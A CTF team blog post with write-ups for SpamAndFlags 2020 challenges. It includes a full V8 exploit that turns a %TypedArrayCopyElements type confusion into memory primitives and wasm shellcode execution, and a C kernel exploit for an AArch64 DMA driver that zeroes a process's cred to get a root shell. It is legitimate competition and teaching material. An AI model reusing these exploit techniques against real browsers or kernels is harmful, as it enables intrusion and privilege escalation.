CTFするぞ

あたまよくないけどがんばります

SpamAndFlags 2020 Writeups

I played "S㎩mAndFlags Uけimate w呎は屸de C㏊mᒆonship Teaser ꕫꕫ - ㎩㏚i㎄ Edition" in shibadogs. We reached 6th place :yay:

f:id:ptr-yudai:20200511085625p:plain

Thank you @SpamAndHex for hosting the CTF!

The tasks and my solvers are here:

bitbucket.org

[rev+misc] TAS (1-5)

Description: Time to take a break from CTFing and play some videogames! How fast can you complete it??
Server: nc 35.242.182.148 1337

TAS challenge. I wrote the most of key inputs manually. For the random-spike area, I wrote a script to RNG it. Some tips for reducing steps are:

  • We can skip the second orb by using the invulnerable time after the player hits an enemy.
  • The player can attack consecutively by repeating ATTACK and CROUCH.

Video:

[pwn] Nativity Scene

Description: Your mission, should you choose to accept it, is to exploit this tiny proof-of-concept JavaScript engine, called v8, that I wrote for a high-school assignment. I removed some stuff to make it more interesting and added an innocent little command-line flag, --allow-natives-syntax, to make it easier on you. See the build.sh file for helpful information.
Server: nc 35.246.66.119 1337

This is a V8 challenge. The following small patch is applied to d8:

From d769eeee66a3550dc195f5f94bae12f2243b6956 Mon Sep 17 00:00:00 2001
From: tukanus superbus <pistukem@gmail.com>
Date: Sat, 25 Apr 2020 16:59:27 +0200
Subject: [PATCH] Remove globals.

---
 src/d8/d8.cc | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index d6d21bf5fa..a0729d50ad 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1266,9 +1266,7 @@ MaybeLocal<Context> Shell::CreateRealm(
     }
     delete[] old_realms;
   }
-  Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
-  Local<Context> context =
-      Context::New(isolate, nullptr, global_template, global_object);
+  Local<Context> context = Context::New(isolate, nullptr, ObjectTemplate::New(isolate), v8::MaybeLocal<Value>());
   DCHECK(!try_catch.HasCaught());
   if (context.IsEmpty()) return MaybeLocal<Context>();
   InitializeModuleEmbedderData(context);
@@ -2175,9 +2173,8 @@ Local<Context> Shell::CreateEvaluationContext(Isolate* isolate) {
   // This needs to be a critical section since this is not thread-safe
   base::MutexGuard lock_guard(context_mutex_.Pointer());
   // Initialize the global objects
-  Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
   EscapableHandleScope handle_scope(isolate);
-  Local<Context> context = Context::New(isolate, nullptr, global_template);
+  Local<Context> context = Context::New(isolate, nullptr, ObjectTemplate::New(isolate));
   DCHECK(!context.IsEmpty());
   if (i::FLAG_perf_prof_annotate_wasm || i::FLAG_vtune_prof_annotate_wasm) {
     isolate->SetWasmLoadSourceMapCallback(ReadFile);
-- 
2.17.1

This patch just removed some global symbols. The base version of V8 is 8.1.307.31, which is nearly latest one. At first glance we can't confirm any vulnerabilities other than 0-day.

However, I accessed the server and found d8 was running with --allow-natives-syntax in the server. We started digging in the debug functions here.

After hours, @aventador found something interesting: %TypedArrayCopyElements.

I found a bug on it by randomly using the function.

let a = new Uint32Array([1111,2222,3333]);
let b = new Float32Array([1.1,2.2,3.3]);
    %TypedArrayCopyElements(a, b, 3);
    %DebugPrint(a);

The script above works fine but the following one crashes.

let a = new Uint32Array([1111,2222,3333]);
let b = new Float32Array([1.1,2.2,3.3,4.4]);
    %TypedArrayCopyElements(a, b, 4);
    %DebugPrint(a);

It's easy to confirm Type Confusion by comparing the memory before and after %TypedArrayCopyElements is called.

pwndbg> x/32xg 0x2fd2080826f4
0x2fd2080826f4: 0x080406e908241099      0x080826b1080826e1
0x2fd208082704: 0x0000000000000000      0x000000000000000c
0x2fd208082714: 0x0000000000000003      0x00002fd200000007
...
pwndbg> x/32xg 0x2fd2080826f4
0x2fd2080826f4: 0x080406e900000004      0x080826b1080826e1
0x2fd208082704: 0x0000000000000000      0x000000000000000c
0x2fd208082714: 0x0000000000000003      0x00002fd200000007
...

The 4th element of b (4.4) is converted into uint32 and copied to a out of bounds. So, we obviously have out-of-bounds write!

The example above causes type confusion. Since the map of a is invalid, a is treated as String, which drops out-of-bounds read as well.

We need to gain ADDROF, AAR/AAW primitive. ADDROF is easy. I just put the address of target object after the buffer of a and just read the address by oob.

        addrof: function(obj) {
            let a = new Uint32Array([0xcafe,0xbabe,0xdead]);
            let victim = [obj, obj, obj, obj];
            let b = new Float32Array([1.1,2.2,3.3,4.4]);
                %TypedArrayCopyElements(a, b, 4); // oob!
            var addr_hi = a[0x10].charCodeAt(0);
            var addr_lo = a[0x20].charCodeAt(0) | (a[0x21].charCodeAt(0) << 16);
            delete a;
            delete b;
            delete victim;
            return (BigInt(addr_hi) << BigInt(32)) | BigInt(addr_lo);
        },

AAR is not that hard as well. My idea is troublesome but somewhat reliable. First of all, we create 5 arrays in the following order.

|                       |
+-----------------------+
| d (Uint32Array)       |
+-----------------------+
| a (Uint32Array)       |
+-----------------------+
| victim (Float64Array) |
+-----------------------+
|                       |
| b (Float64Array)      |
|                       |
+-----------------------+
| c (Float32Array)      |
+-----------------------+
|                       |

Second, we use %TypedArrayCopyElements(a, c, XXX) to confuse the type of a as we did in ADDROF. Then a can be treated as String and we can leak the map of victim.

Third, we use %TypedArrayCopyElements(b, d, XXX) to overflow d's buffer to overwrite the element pointer of victim. Since the map of victim is also overwritten, I put the previously saved map address in b so that it won't wipe the map of victim.

Now the pointer of elements of victim is overwritten to our address, which can cause AAR/AAW through victim.

After that is a normal V8 pwn. I just leaked wasm code address and overwrote it with my shellcode.

/**
 * Utils
 */
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
    return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
    int_view[0] = this;
    return float_view[0];
}
Number.prototype.f2i = function() {
    float_view[0] = this;
    return int_view[0];
}

/**
 * Exploit
 */
function pwn() {
    var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
    let module = new WebAssembly.Module(buffer);
    var instance = new WebAssembly.Instance(module);
    var main = instance.exports.main;

    /**
     * Primitive
     */
    var primitive = {
        /* ADDROF */
        addrof: function(obj) {
            let a = new Uint32Array([0xcafe,0xbabe,0xdead]);
            let victim = [obj, obj, obj, obj];
            let b = new Float32Array([1.1,2.2,3.3,4.4]);
                %TypedArrayCopyElements(a, b, 4); // oob!
            var addr_hi = a[0x10].charCodeAt(0);
            var addr_lo = a[0x20].charCodeAt(0) | (a[0x21].charCodeAt(0) << 16);
            delete a;
            delete b;
            delete victim;
            return (BigInt(addr_hi) << BigInt(32)) | BigInt(addr_lo);
        },

        /* AAR64 */
        aar64: function(addr) {
            var addr_lo = Number(addr & BigInt("0xffffffff")) - 8;
            var addr_hi = Number(addr >> BigInt(32));
            let d = new Uint32Array([0xcafe,0xbabe,0xdead]);
            let a = new Uint32Array([0xcafe,0xbabe,0xdead]);
            let victim = new Float64Array([3.14, 3.14, 3.14, 3.14]);
            let b = new Float64Array([
                1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9,10,11,12,13,14,15,16,
                1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9,10,11,12,13,14,15,16,
                1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9,10,11,12,13,14,15,16,
                1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9,10,11,12,13,14,15,16,
                1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9,10,11,12,13,14,15,16,
                1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9,10,11,12,13,14,15,16,
                1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9,10,11,12,13,14,15,16,
                3.14, 7, addr_lo, 7, 0, 0, 32, 0, 4, 0, 7, addr_hi, addr_lo
            ]);
            let c = new Float32Array([1.1,2.2,3.3,4.4]);
                %TypedArrayCopyElements(a, c, 4); // oob!
            var saved_map = a[128].charCodeAt(0) | (a[129].charCodeAt(0) << 16);
            b[0x70] = saved_map; // keep it Float64Array
                %TypedArrayCopyElements(d, b, 0x7d); // oob!
            var x = victim[0].f2i();
            delete a
            delete b
            delete c
            delete d
            delete victim
            return x;
        },
        
        /* AAW64 */
        aaw64: function(addr, value) {
            var addr_lo = Number(addr & BigInt("0xffffffff")) - 8;
            var addr_hi = Number(addr >> BigInt(32));
            let d = new Uint32Array([0xcafe,0xbabe,0xdead]);
            let a = new Uint32Array([0xcafe,0xbabe,0xdead]);
            let victim = new Float64Array([3.14, 3.14, 3.14, 3.14]);
            let b = new Float64Array([
                1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9,10,11,12,13,14,15,16,
                1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9,10,11,12,13,14,15,16,
                1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9,10,11,12,13,14,15,16,
                1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9,10,11,12,13,14,15,16,
                1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9,10,11,12,13,14,15,16,
                1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9,10,11,12,13,14,15,16,
                1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9,10,11,12,13,14,15,16,
                3.14, 7, addr_lo, 7, 0, 0, 32, 0, 4, 0, 7, addr_hi, addr_lo
            ]);
            let c = new Float32Array([1.1,2.2,3.3,4.4]);
                %TypedArrayCopyElements(a, c, 4); // oob!
            var saved_map = a[128].charCodeAt(0) | (a[129].charCodeAt(0) << 16);
            b[0x70] = saved_map; // keep it Float64Array
                %TypedArrayCopyElements(d, b, 0x7d); // oob!
            victim[0] = value;
            delete a
            delete b
            delete c
            delete d
            delete victim
        }
    }

    /* leak wasm pointer */
    p_main = primitive.addrof(main);
    console.log("[+] p_main = " + p_main.hex());

    var high = p_main & BigInt("0xffffffff00000000");
    var p_shared_info = high | (primitive.aar64(p_main + BigInt(0xc)) & BigInt("0xffffffff"));
    console.log("[+] p_shared_info = " + p_shared_info.hex());
    var p_code_info = high | (primitive.aar64(p_shared_info + BigInt(4)) & BigInt("0xffffffff"));
    console.log("[+] p_code_info = " + p_code_info.hex());
    var p_wasm_inst = high | (primitive.aar64(p_code_info + BigInt(8)) & BigInt("0xffffffff"));
    console.log("[+] p_wasm_inst = " + p_wasm_inst.hex());
    var p_code = primitive.aar64(p_wasm_inst + BigInt(0x68));
    console.log("[+] p_code = " + p_code.hex());

    /* write shellcode */
    var shellcode = [
        -0.0007617705599738453, 1.0880585577140108e-306,
        -1.695592521240708e-231
    ]
    for(var i = 0; i < shellcode.length; i++) {
        primitive.aaw64((p_code|BigInt(1)) + BigInt(8*i), shellcode[i]);
    }

    /* ignite! */
    main();
}

pwn();

TADA!

[+] p_main = 0x21d30820f471
[+] p_shared_info = 0x21d30820f449
[+] p_code_info = 0x21d30820f429
[+] p_wasm_inst = 0x21d30820f351
[+] p_code = 0x24c6bf204000
ls  
d8
flag
pow_and_run.py
snapshot_blob.bin
cat flag
SaF{https://www.youtube.com/watch?v=bUx9yPS4ExY}

[pwn] Secstore #2

Description:
> SSE-2020-17866: Memory corruption in secure storage - Fixed
> Severity: Medium
> Reported: May 09, 2020 06:20
> Submitter: p4
> A possible memory corruption primitive exists in the secure storage driver with unknown impact.
> A patch prevents the root cause of the corruption.
> All previously reported bugs are fixed in our product, unfortunately our open source mirror has not been updated yet.
> This should not discourage talented bug hunters, the updated release is available here.
Server: nc 35.246.107.166 1337

This is an AArch64 kernel exploit challenge.

@pr0cfs solved Secstore #1 and he'd already analysed most part of the kernel object and qemu patch. He also explained me a lot about how the kernel driver worked.

To summerize, it's a kind of note service in DMA. The user interacts with the driver through read/write. On write, the user gives src, dst, size where src is the user-land buffer, dst is the physical address of DMA, and size is the length to store. On read, the user also gives src, dst, size where src is the physical address of DMA, dst is the user-land buffer, and size is the length to load.

As I understood how to program, I started fuzzing by hand. I found a curious leak after some attempts.

  items[0].src = addr;
  items[0].dst = DMA_ADDR_1;
  items[0].size = size;
  items[0].ctrl = 0;
  write(fd, &items[0], sizeof(struct lli));

  items[1].src = DMA_ADDR_1;
  items[1].dst = (uint64_t)buffer;
  items[1].size = size;
  items[1].ctrl = 0;
  read(fd, &items[1], sizeof(struct lli));

In the code above, it leaks some data when I set addr to an address in kernel-land. At first glance It seemed the leaked data were random everytime I run it and I'd been stuck here.

However, pr0cfs immediately found it was because I forgot to align the buffer by 0x1000.

So, we got AAR/AAW by this and after that is pr0cfs's idea. We just brute force to find current_task (since KASLR is enabled) and fill cred with 0.

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <stddef.h>
#include <stdint.h>
#include <fcntl.h>
#include <assert.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/mman.h>

#define THREAD_NAME "godpr0cfs"
#define THREAD_NAME_LEN 8
#define CHANGED_THREAD_NAME "sasuga!"
#define CHANGED_THREAD_NAME_LEN 7

struct lli{
  uint64_t src;
  uint64_t dst;
  uint32_t size;
  uint32_t ctrl;
};

int devsec() {
  int fd = open("/dev/sec", O_RDWR);
  if (fd < 0) exit(1);
  return fd;
}

#define DMA_ADDR_1 0x1000
#define BUF_SIZE 0x1000

void AAR(uint64_t addr, char *data, uint32_t size) {
  int fd = devsec();
  unsigned char *aligned = mmap(NULL, BUF_SIZE, PROT_READ|PROT_WRITE,
                                MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
  if (aligned == MAP_FAILED) exit(1);
  struct lli items[2];

  items[0].src = addr;
  items[0].dst = DMA_ADDR_1;
  items[0].size = size;
  items[0].ctrl = 0;
  write(fd, &items[0], sizeof(struct lli));

  items[1].src = DMA_ADDR_1;
  items[1].dst = (uint64_t)aligned;
  items[1].size = size;
  items[1].ctrl = 0;
  read(fd, &items[1], sizeof(struct lli));
  memcpy(data, aligned, size);

  munmap(aligned, BUF_SIZE);
  close(fd);
}

void AAW(uint64_t addr, char *data, uint32_t size) {
  int fd = devsec();
  unsigned char *aligned = mmap(NULL, BUF_SIZE, PROT_READ|PROT_WRITE,
                                MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
  if (aligned == MAP_FAILED) exit(1);
  struct lli items[2];

  memcpy(aligned, data, size);
  
  items[0].src = (uint64_t)aligned;
  items[0].dst = DMA_ADDR_1;
  items[0].size = size;
  items[0].ctrl = 0;
  write(fd, &items[0], sizeof(struct lli));

  items[1].src = DMA_ADDR_1;
  items[1].dst = addr;
  items[1].size = size;
  items[1].ctrl = 0;
  read(fd, &items[1], sizeof(struct lli));

  munmap(aligned, BUF_SIZE);
  close(fd);
}

int main(int argc, char **argv) {
  uint64_t comm_addr, search_addr, cred;
  uint8_t *probe_ptr1, *probe_ptr2;
  char buffer[BUF_SIZE] = {0};
  setbuf(stdout, NULL);

  /* find current_task */
  prctl(PR_SET_NAME, THREAD_NAME);
  //search_addr = 0xffff000045a00000;
  search_addr = 0xffff000045900000;
  while(1) {
    AAR(search_addr, buffer, BUF_SIZE);
    if (probe_ptr1 = memmem(buffer, BUF_SIZE, THREAD_NAME, THREAD_NAME_LEN)) {
      prctl(PR_SET_NAME, CHANGED_THREAD_NAME);
      AAR(search_addr, buffer, BUF_SIZE);
      if ((probe_ptr2 = memmem(buffer, BUF_SIZE, CHANGED_THREAD_NAME, CHANGED_THREAD_NAME_LEN)) && (probe_ptr2 == probe_ptr1)) {
        puts("[+] Found current_task");
        break;
      }
    }
    search_addr += BUF_SIZE;
  }
  comm_addr = search_addr + ((uint64_t)probe_ptr1 - (uint64_t)buffer);
  AAR(comm_addr - 0x10, (void*)&cred, 8);
  puts("[+] Overwriting cred...");

  /* get rooted */
  memset(buffer, 0, 0x80);
  AAW(cred, buffer, 0x80);

  puts("[+] You win!");
  system("/bin/sh");

  return 0;
}

It takes time to find the right address but it worked!